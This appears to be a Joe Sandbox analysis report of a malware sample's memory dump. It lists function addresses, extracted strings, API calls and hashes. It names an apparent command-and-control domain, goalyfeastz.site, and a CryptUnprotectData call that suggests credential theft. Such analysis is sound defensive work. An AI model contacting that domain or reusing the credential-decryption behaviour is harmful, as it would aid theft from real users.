=i<o, xrefs: 003E015A
{-S, xrefs: 003E0351
{){/, xrefs: 003E0346
d5h;, xrefs: 003E030F
`1d7, xrefs: 003E0304
U`3, xrefs: 003E02F9
goalyfeastz.site, xrefs: 003E0419, 003E0BEF, 003E0C2C, 003E137A
Noni, xrefs: 003E15FF
T1S7, xrefs: 003E12D5

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: #Tw$828CF50C6B8EF1869407B331AA84AE48$;:54$;:54$=i<o$F]$J!G'$K=C#$Noni$T1S7$U`3$V[$`1d7$d5h;$f[zU$goalyfeastz.site$xr${){/${-S
API String ID: 0-2044557230
Opcode ID: d2e14fefc8903cf8d42bad2ddaa9eac458dc3cda0009c121e6378a398a120663
Instruction ID: 716f971fb04a8f64f4e92ddab91efdb1d710bf1e9ebb43f5667461a3bec103d6
Opcode Fuzzy Hash: d2e14fefc8903cf8d42bad2ddaa9eac458dc3cda0009c121e6378a398a120663
Instruction Fuzzy Hash: 1CD213B16047808FD3258F25D89176ABBF1FF86304F188A6DE4D68F792D7759806CB82

Function 003E011A Relevance: 24.5, APIs: 2, Strings: 11, Instructions: 1779COMMON

Download Yara Rule

Strings

xr, xrefs: 003E1273
F], xrefs: 003E0AE0
;:54, xrefs: 003E1805
goalyfeastz.site, xrefs: 003E0419, 003E0BEF, 003E0C2C, 003E137A
f[zU, xrefs: 003E15EA
V[, xrefs: 003E0AE7
Noni, xrefs: 003E15FF
T1S7, xrefs: 003E12D5
828CF50C6B8EF1869407B331AA84AE48, xrefs: 003E093E
;:54, xrefs: 003E175C
#Tw, xrefs: 003E0E4F

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: #Tw$828CF50C6B8EF1869407B331AA84AE48$;:54$;:54$F]$Noni$T1S7$V[$f[zU$goalyfeastz.site$xr
API String ID: 0-3312018066
Opcode ID: 2d155312ae997adf5a002dc8d8825660dd73d15c91890e0af230e6db60fac4de
Instruction ID: 8df486dcb01fd6ad6ef8c8064c45e0bdf9f73e6b525eae32f710e20f4adb530d
Opcode Fuzzy Hash: 2d155312ae997adf5a002dc8d8825660dd73d15c91890e0af230e6db60fac4de
Instruction Fuzzy Hash: A5C234B16047408FD3258F25D89176ABBF1FF86304F18866DE4968F792D77AE806CB81

Function 003DF970 Relevance: 15.3, Strings: 12, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Y[, xrefs: 003DFB23
?u>w, xrefs: 003DFAAA
A"C, xrefs: 003DFAE1
EG, xrefs: 003DFAD6
,q's, xrefs: 003DFAB5
S)J+, xrefs: 003DF9F8
x%F', xrefs: 003DF9E0
IK, xrefs: 003DFAF7
Q!R#, xrefs: 003DF9E8
U?W, xrefs: 003DFB02
@=E?, xrefs: 003DFA10
Z-^/, xrefs: 003DF9F0

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: ,q's$?u>w$@=E?$Q!R#$S)J+$Z-^/$x%F'$A"C$EG$IK$U?W$Y[
API String ID: 0-4103194446
Opcode ID: d05e3f8db3402ebef9d235b267c150d0eec61f396a8d60cce467b31b5ad7c0df
Instruction ID: c342c546ea6d0d27963a19de405134a9d38a0255ed312d7d941ef817aa7e430c
Opcode Fuzzy Hash: d05e3f8db3402ebef9d235b267c150d0eec61f396a8d60cce467b31b5ad7c0df
Instruction Fuzzy Hash: E2B187B164C3809FE3348F61E89179BBBA1ABD6704F148A2DE1D91B395C7B48805CF86

Function 0040A2E0 Relevance: 11.6, Strings: 9, Instructions: 302
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4, xrefs: 0040A36A
:, xrefs: 0040A360
;, xrefs: 0040A5EB
5, xrefs: 0040A365
4, xrefs: 0040A5FA
;, xrefs: 0040A35B
5, xrefs: 0040A5F5
;45:;, xrefs: 0040A4AE
:, xrefs: 0040A5F0

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: InitializeThunk
String ID: 4$4$5$5$:$:$;$;$;45:;
API String ID: 2994545307-652432164
Opcode ID: 5bd17bad8ae7fbe2e015c115fe25baf205030cfb360db723c766508b12a7fb83
Instruction ID: 46206e1b1c6ecd05e21d3863e3cbef04867dbc70e213a638b574485c4faa0c73
Opcode Fuzzy Hash: 5bd17bad8ae7fbe2e015c115fe25baf205030cfb360db723c766508b12a7fb83
Instruction Fuzzy Hash: 49B16A7620D3808FC3058A38885436FBBD26BD6358F1D8A3EE5D6973D2D6798946C70B

Function 003F6800 Relevance: 8.7, Strings: 6, Instructions: 1152COMMON

Download Yara Rule

Strings

InA>, xrefs: 003F68A0
bq?, xrefs: 003F7152
SV, xrefs: 003F6914
InA>, xrefs: 003F6A50
P, xrefs: 003F690D
;:54, xrefs: 003F683C

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: ;:54$InA>$InA>$P$SV$bq?
API String ID: 0-4133893977
Opcode ID: 9ecb1364ac315f768b53de9250aa514442a1221e92fae44964f16a97f252f9e6
Instruction ID: 1ff5b91d3a21c8db3b5a60c438900176b808c165481ca23bdb79f4b0a26a51be
Opcode Fuzzy Hash: 9ecb1364ac315f768b53de9250aa514442a1221e92fae44964f16a97f252f9e6
Instruction Fuzzy Hash: D6820275A0421ACFDB15CF68DC81ABEB7B2FF49310F198168DA45AB391D735AC42CB90

Function 003ED5AF Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 404
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 003ED87D

Strings

r, xrefs: 003ED739
J, xrefs: 003ED70E
;:54, xrefs: 003ED5E1, 003ED5F8

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: CryptDataUnprotect
String ID: ;:54$J$r
API String ID: 834300711-2889753551
Opcode ID: cf4406b860ce18ffbfa82c5ab451658c723444512159f1741983c601166aa018
Instruction ID: 72018fd5b99211f261d5381cb36563f87ffadd15bc7b91c43ff1eb32b8107e1c
Opcode Fuzzy Hash: cf4406b860ce18ffbfa82c5ab451658c723444512159f1741983c601166aa018
Instruction Fuzzy Hash: 28D147B29083908FD725CF25D8517AFB7E1EF96304F058A2DE4D98B392E3749941CB92

Function 003F509D Relevance: 6.4, Strings: 5, Instructions: 163
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

e, xrefs: 003F523F
;, xrefs: 003F5109
4, xrefs: 003F5118
:, xrefs: 003F510E
5, xrefs: 003F5113

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 4$5$:$;$e
API String ID: 0-2923545159
Opcode ID: 8edf66489c7446f19609747914506cc3f225fbf95aefbf53bc440a31a955dae5
Instruction ID: f19abb295f81fed540ac869879358db331661a2edcd61c7cbf425b170ee07524
Opcode Fuzzy Hash: 8edf66489c7446f19609747914506cc3f225fbf95aefbf53bc440a31a955dae5
Instruction Fuzzy Hash: FC61CF3250CBC48FD321CA6888843ABBFD1ABD6314F294A2DD6E5873D2C7799845CB47

Function 00592208 Relevance: 3.9, Strings: 3, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Software\Borland\Delphi\Locales, xrefs: 00592274
., xrefs: 00592374
Software\Borland\Locales, xrefs: 00592238, 00592256

Memory Dump Source

Source File: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: .$Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 0-3917250287
Opcode ID: 870280b683926b54508e84eaac991a6de7fa4c5450ffa5fe671606ee2c6245be
Instruction ID: 948dd898b7ea88e10d186be0fe24d4056c12a76537ef8892fe5b98ed36607a12
Opcode Fuzzy Hash: 870280b683926b54508e84eaac991a6de7fa4c5450ffa5fe671606ee2c6245be
Instruction Fuzzy Hash: FB515975A4025D7EEF25D6A4DC4AFEF7FACAB48740F5001B1BA04F6182D6749E44CBA0

Function 00483710 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 52
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateFile.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 00483768

Strings

/v, xrefs: 00483768

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: CreateFile
String ID: /v
API String ID: 823142352-2755232556
Opcode ID: c437fea00a718041b97c7cebb1c49f83b9b39282c944582a2fc45023ecab7dc9
Instruction ID: ad433a847b11f7a5f5f278dac5cb4d1dd63e3008af1e55ebf34be05912595e6a
Opcode Fuzzy Hash: c437fea00a718041b97c7cebb1c49f83b9b39282c944582a2fc45023ecab7dc9
Instruction Fuzzy Hash: 330146B6200249BF9B10DE8ADDC5DEBBBACFB9D654B444415FB1897202C234AD51CBB0

Function 00483634 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtClose.NTDLL(?), ref: 00483647

Strings

`+v, xrefs: 00483647

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: Close
String ID: `+v
API String ID: 3535843008-2805226579
Opcode ID: 0b492d36001976de7504c44098fa8ebdb30d97c0b0be23269429f90395d2bda1
Instruction ID: d37a7878dda8d74a557de98283bc87d3688aebe749fb217495c7a39f7c437b4c
Opcode Fuzzy Hash: 0b492d36001976de7504c44098fa8ebdb30d97c0b0be23269429f90395d2bda1
Instruction Fuzzy Hash: E8B09B94C052403DDF1197AC6D0C7D5394D57D570AF040464700AD1152C6184544F324

Function 0040A97E Relevance: 3.1, Strings: 2, Instructions: 587COMMON

Download Yara Rule

Strings

;:54, xrefs: 0040AF35
;:54, xrefs: 0040AFFE

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: ;:54$;:54
API String ID: 0-2193779323
Opcode ID: 6e2b965ad364af0a06daa0b5bd3bb4ad65cb0b5ee18ca0f7da2536a76275e7c7
Instruction ID: 94bf4fc3b65be1fb6680474aeb2aee53ff308de817bdf5830d216d4ee1db1d11
Opcode Fuzzy Hash: 6e2b965ad364af0a06daa0b5bd3bb4ad65cb0b5ee18ca0f7da2536a76275e7c7
Instruction Fuzzy Hash: E41231B6A00701DFD724CF24D880B6AB7B2FB89300F14857DE55A9B7A1D739E912CB84

Function 003F6F82 Relevance: 3.0, Strings: 2, Instructions: 524COMMON

Download Yara Rule

Strings

;:54, xrefs: 003F6FE8
bq?, xrefs: 003F7152

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: ;:54$bq?
API String ID: 0-1438752939
Opcode ID: 2edbed431b93e5c0a87e2282bcd8a471c9c1e53a2ae85c127f5421ed00673af2
Instruction ID: 04a545bec4177fa1627b570618e31a84ec80f20f3e50616b648a9d8ae1f4bdc3
Opcode Fuzzy Hash: 2edbed431b93e5c0a87e2282bcd8a471c9c1e53a2ae85c127f5421ed00673af2
Instruction Fuzzy Hash: 61F124B6A04219CFDB04CF68C8817FEB7B2FF89314F298168DA05AB351D7759902CB90

Function 003FA6D0 Relevance: 2.8, Strings: 2, Instructions: 324COMMON

Download Yara Rule

Strings

SJK^, xrefs: 003FA9A3
;:54, xrefs: 003FA6FC

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: InitializeThunk
String ID: ;:54$SJK^
API String ID: 2994545307-880411129
Opcode ID: bcf60842d1b0a3d657d288b46a49cf0d078847e757fda627fdc9bc7e20558a80
Instruction ID: 579d4343558df84cb17afc5a3b097cbfd522dd7fd86c57f7c5a68a84eb9a9ea8
Opcode Fuzzy Hash: bcf60842d1b0a3d657d288b46a49cf0d078847e757fda627fdc9bc7e20558a80
Instruction Fuzzy Hash: 4F8169F2A087094BD7219E64DC81B3B77E2EBD1754F1AC03CEA8987342E6B49C068753

Function 003E00C7 Relevance: 2.7, Strings: 2, Instructions: 197COMMON

Download Yara Rule

Strings

is, xrefs: 003DFDC4
s, xrefs: 003DFDCC

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: is$s
API String ID: 0-4051906996
Opcode ID: ff5630bab510e9c68cdcee0796fc578d01f7603e702e135fb968ba09ac6e377c
Instruction ID: 23c86fedca8a0f48823818c4bc6d68186c80e5527322ba4056c330525597e247
Opcode Fuzzy Hash: ff5630bab510e9c68cdcee0796fc578d01f7603e702e135fb968ba09ac6e377c
Instruction Fuzzy Hash: 4B61FE72608351DFD3148F60E8A07ABB7B6FF85315F09893CE985872A0E7759D05CB86

Function 004836B8 Relevance: 1.5, APIs: 1, Instructions: 44filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(?,?,?,?,?,?,?,?,?), ref: 00483700

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: afc503862ef5b56eb85404ef4c48e5cc4513fe4542747a54a1cf4474a43c52ed
Instruction ID: 94a3288ca5649efc2c2b17e877377907d8ad5253d272c1c16c9d24c7c4c2ac13
Opcode Fuzzy Hash: afc503862ef5b56eb85404ef4c48e5cc4513fe4542747a54a1cf4474a43c52ed
Instruction Fuzzy Hash: A8F0FFB6101249BFD710DE8ADCC8CEB7B6CFB8D764B448015FA0983202C230AD14CBB0

Function 00483650 Relevance: 1.5, APIs: 1, Instructions: 26filenativeCOMMON

Download Yara Rule

APIs

NtSetInformationFile.NTDLL(?,?,?,?,?), ref: 00483677

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: FileInformation
String ID:
API String ID: 4253254148-0
Opcode ID: c7456e707b3c75a7e0e901e72fcd826433190c0da82b6fa9c600ca5295c0cde8
Instruction ID: 4fa650f73a4236a670d40f22f15fe6790e3a68bdd038080605cd0eff533e654f
Opcode Fuzzy Hash: c7456e707b3c75a7e0e901e72fcd826433190c0da82b6fa9c600ca5295c0cde8
Instruction Fuzzy Hash: 49E08CA54011547EA3206A5E9C0CEEB7FACEBE2BB5B40852AB409A3201D260AD04C3B4

Function 00410D90 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00413F20,005C003F,00000006,?,?,00000018,?,?,?), ref: 00410DBE

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 004E1CA4 Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

\\.\, xrefs: 004E1D72

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: \\.\
API String ID: 0-2900601889
Opcode ID: 62dea90e724b72fd67863e34644d94c79a6e3fd3a6bd58e9cd9d88ec1ffeb892
Instruction ID: cca37adfeb85fcbdba56a29942e2cdf1da19c6278888a74f527e4ff5a6480d58
Opcode Fuzzy Hash: 62dea90e724b72fd67863e34644d94c79a6e3fd3a6bd58e9cd9d88ec1ffeb892
Instruction Fuzzy Hash: F3516370A002189BDB24EB2ACC81BDEB3B5AF4C704F5055E6F508A7291D778AF81CF58

Function 0045B490 Relevance: 1.3, Strings: 1, Instructions: 46COMMON

Download Yara Rule

Strings

p;V, xrefs: 0045B4B5

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: p;V
API String ID: 0-353020603
Opcode ID: fb70bd76c85e14626d566bcbad59c85e6dea87336b1087621a6d47c4e4677e49
Instruction ID: 29b43aa77a50b111cf0ba326198f65988b5aa5771e04ca4b3b7a5f119be11008
Opcode Fuzzy Hash: fb70bd76c85e14626d566bcbad59c85e6dea87336b1087621a6d47c4e4677e49
Instruction Fuzzy Hash: F401D4316042186BC729EA398C81BDA77A8EB4D304F4005BAB90DD3263E7789D048998

Function 00414620 Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
